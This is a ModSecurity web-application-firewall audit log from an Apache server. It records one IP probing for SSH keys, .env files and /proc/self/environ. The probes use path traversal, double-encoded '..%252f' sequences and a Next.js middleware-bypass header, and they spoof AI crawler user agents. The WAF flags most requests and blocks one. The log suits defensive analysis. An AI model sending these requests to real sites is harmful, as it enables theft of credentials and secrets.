Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaA1GM7dE9KgIIOpQh6mQAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqaA1GM7dE9KgIIOpQh6mQAAAMU"]
Stopwatch: 1789296852867931 37266 (- - -)
Stopwatch2: 1789296852867931 37266; combined=35692, p1=243, p2=35325, p3=72, p4=7, p5=45, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d99a7b2e-Z--
--18a38955-A--
[13/Sep/2026:13:54:12.969660 +0300] aqaA1GM7dE9KgIIOpQh6mgAAAMY 35.236.177.61 35288 127.0.0.1 7081
--18a38955-B--
GET /.ssh/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--18a38955-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--18a38955-E--
--18a38955-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/config"] [unique_id "aqaA1GM7dE9KgIIOpQh6mgAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/config"] [unique_id "aqaA1GM7dE9KgIIOpQh6mgAAAMY"]
Stopwatch: 1789296852938250 31468 (- - -)
Stopwatch2: 1789296852938250 31468; combined=29745, p1=261, p2=29348, p3=77, p4=8, p5=51, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--18a38955-Z--
--6b62612a-A--
[13/Sep/2026:13:54:13.047516 +0300] aqaA1Uwu1RSkptiiNIX7owAAAJY 35.236.177.61 35300 127.0.0.1 7081
--6b62612a-B--
GET /.ssh/known_hosts HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6b62612a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6b62612a-E--
--6b62612a-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaA1Uwu1RSkptiiNIX7owAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/known_hosts"] [unique_id "aqaA1Uwu1RSkptiiNIX7owAAAJY"]
Stopwatch: 1789296853014857 32722 (- - -)
Stopwatch2: 1789296853014857 32722; combined=31095, p1=284, p2=30685, p3=72, p4=7, p5=46, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6b62612a-Z--
--c91fea28-A--
[13/Sep/2026:13:54:13.094026 +0300] aqaA1SsVWymXUono-eRWSAAAAAY 35.236.177.61 35310 127.0.0.1 7081
--c91fea28-B--
GET /id_rsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c91fea28-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c91fea28-E--
--c91fea28-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/id_rsa"] [unique_id "aqaA1SsVWymXUono-eRWSAAAAAY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/id_rsa"] [unique_id "aqaA1SsVWymXUono-eRWSAAAAAY"]
Stopwatch: 1789296853053018 41079 (- - -)
Stopwatch2: 1789296853053018 41079; combined=39425, p1=255, p2=39023, p3=75, p4=11, p5=61, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c91fea28-Z--
--d84f7b00-A--
[13/Sep/2026:13:54:13.125959 +0300] aqaA1WM7dE9KgIIOpQh6mwAAANg 35.236.177.61 35320 127.0.0.1 7081
--d84f7b00-B--
GET /id_dsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d84f7b00-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d84f7b00-E--
--d84f7b00-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/id_dsa"] [unique_id "aqaA1WM7dE9KgIIOpQh6mwAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/id_dsa"] [unique_id "aqaA1WM7dE9KgIIOpQh6mwAAANg"]
Stopwatch: 1789296853092800 33220 (- - -)
Stopwatch2: 1789296853092800 33220; combined=31522, p1=299, p2=31019, p3=145, p4=10, p5=49, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d84f7b00-Z--
--ad604515-A--
[13/Sep/2026:13:54:13.820373 +0300] aqaA1Uwu1RSkptiiNIX7qAAAAIg 35.236.177.61 35426 127.0.0.1 7081
--ad604515-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ad604515-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ad604515-E--
--ad604515-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/app/.env"] [unique_id "aqaA1Uwu1RSkptiiNIX7qAAAAIg"]
Stopwatch: 1789296853813357 7084 (- - -)
Stopwatch2: 1789296853813357 7084; combined=5399, p1=344, p2=4911, p3=83, p4=10, p5=50, sr=159, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ad604515-Z--
--ef0c5602-A--
[13/Sep/2026:13:54:13.868749 +0300] aqaA1SsVWymXUono-eRWSQAAABE 35.236.177.61 35442 127.0.0.1 7081
--ef0c5602-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ef0c5602-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ef0c5602-E--
--ef0c5602-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/src/.env"] [unique_id "aqaA1SsVWymXUono-eRWSQAAABE"]
Stopwatch: 1789296853862016 6789 (- - -)
Stopwatch2: 1789296853862016 6789; combined=5157, p1=281, p2=4697, p3=125, p4=10, p5=44, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ef0c5602-Z--
--afd6e475-A--
[13/Sep/2026:13:54:13.993937 +0300] aqaA1WM7dE9KgIIOpQh6owAAANE 35.236.177.61 35448 127.0.0.1 7081
--afd6e475-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--afd6e475-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--afd6e475-E--
--afd6e475-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1WM7dE9KgIIOpQh6owAAANE"]
Stopwatch: 1789296853982707 11284 (- - -)
Stopwatch2: 1789296853982707 11284; combined=7090, p1=1300, p2=5600, p3=131, p4=7, p5=52, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--afd6e475-Z--
--93de397d-A--
[13/Sep/2026:13:54:14.050172 +0300] aqaA1mM7dE9KgIIOpQh6pAAAAMI 35.236.177.61 35460 127.0.0.1 7081
--93de397d-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--93de397d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--93de397d-E--
--93de397d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6pAAAAMI"]
Stopwatch: 1789296854034437 15900 (- - -)
Stopwatch2: 1789296854034437 15900; combined=11822, p1=293, p2=6118, p3=5201, p4=103, p5=107, sr=147, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93de397d-Z--
--23f60f17-A--
[13/Sep/2026:13:54:14.054117 +0300] aqaA1mM7dE9KgIIOpQh6pQAAAM4 35.236.177.61 35472 127.0.0.1 7081
--23f60f17-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--23f60f17-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--23f60f17-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqaA1mM7dE9KgIIOpQh6pQAAAM4"]
Action: Intercepted (phase 2)
Stopwatch: 1789296854045672 8537 (- - -)
Stopwatch2: 1789296854045672 8537; combined=4167, p1=862, p2=3040, p3=0, p4=0, p5=265, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--23f60f17-Z--
--d0a37672-A--
[13/Sep/2026:13:54:14.076467 +0300] aqaA1kwu1RSkptiiNIX7qQAAAIU 35.236.177.61 35484 127.0.0.1 7081
--d0a37672-B--
GET /static../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d0a37672-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d0a37672-E--
--d0a37672-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static../.env"] [unique_id "aqaA1kwu1RSkptiiNIX7qQAAAIU"]
Stopwatch: 1789296854069915 6605 (- - -)
Stopwatch2: 1789296854069915 6605; combined=5026, p1=240, p2=4651, p3=85, p4=8, p5=42, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d0a37672-Z--
--8a9d1b0d-A--
[13/Sep/2026:13:54:14.085203 +0300] aqaA1mM7dE9KgIIOpQh6pgAAAMY 35.236.177.61 35492 127.0.0.1 7081
--8a9d1b0d-B--
GET /_nuxt/../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8a9d1b0d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8a9d1b0d-E--
--8a9d1b0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6pgAAAMY"]
Stopwatch: 1789296854079434 5853 (- - -)
Stopwatch2: 1789296854079434 5853; combined=4307, p1=326, p2=3860, p3=64, p4=7, p5=50, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8a9d1b0d-Z--
--944fbb42-A--
[13/Sep/2026:13:54:14.229465 +0300] aqaA1mM7dE9KgIIOpQh6pwAAANg 35.236.177.61 35502 127.0.0.1 7081
--944fbb42-B--
GET /media../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--944fbb42-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--944fbb42-E--
--944fbb42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
